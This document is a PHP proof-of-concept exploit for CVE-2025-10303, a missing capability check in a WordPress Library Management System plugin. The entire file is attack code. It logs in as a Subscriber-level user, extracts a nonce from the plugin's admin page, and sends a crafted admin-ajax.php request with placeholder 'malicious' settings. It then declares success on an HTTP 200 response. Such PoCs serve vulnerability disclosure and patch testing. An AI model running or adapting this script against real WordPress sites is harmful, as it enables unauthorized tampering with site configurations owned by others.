<?php
/**
* PoC for CVE-2025-10303
* WordPress Library Management System - Missing Capability Check
*
* This PoC demonstrates how an authenticated Subscriber-level user
* can exploit the missing capability check in the
* owt7_library_management_ajax_handler() AJAX function to modify
* plugin settings without proper authorization.
*/
// Target WordPress site URL
$target_url = 'http://target-wordpress-site.com';
// Step 1: Authenticate as a Subscriber-level user
// (Obtain cookies via login - nonce may be required)
$login_url = $target_url . '/wp-login.php';
$cookies = '/path/to/cookies.txt'; // Cookie jar file
$username = 'subscriber_user';
$password = 'password123';
// Login to WordPress and obtain session cookies + nonce
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to'=> $target_url . '/wp-admin/',
'testcookie' => 1,
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookies);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookies);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
curl_close($ch);
// Step 2: Retrieve a valid nonce from a page containing the plugin's AJAX handler
$admin_page = $target_url . '/wp-admin/admin.php?page=library-management-system';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_page);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookies);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookies);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
// Extract nonce value (pattern may vary)
preg_match('/nonce["\s:=]+([a-f0-9]+)/i', $response, $matches);
$nonce = $matches[1] ?? '';
// Step 3: Exploit the missing capability check via admin-ajax.php
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'owt7_library_management_ajax_handler',
'nonce' => $nonce,
// Example manipulated plugin settings
'library_setting_name' => 'malicious_value',
'owt7_library_management_field_name' => 'malicious_data',
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookies);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookies);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Status: $http_code\n";
echo "Response: $response\n";
// If the server returns 200 with success indicator, the exploit succeeded
echo $http_code === 200 ? "Exploit successful - plugin settings modified!\n" : "Exploit may have failed.\n";
?>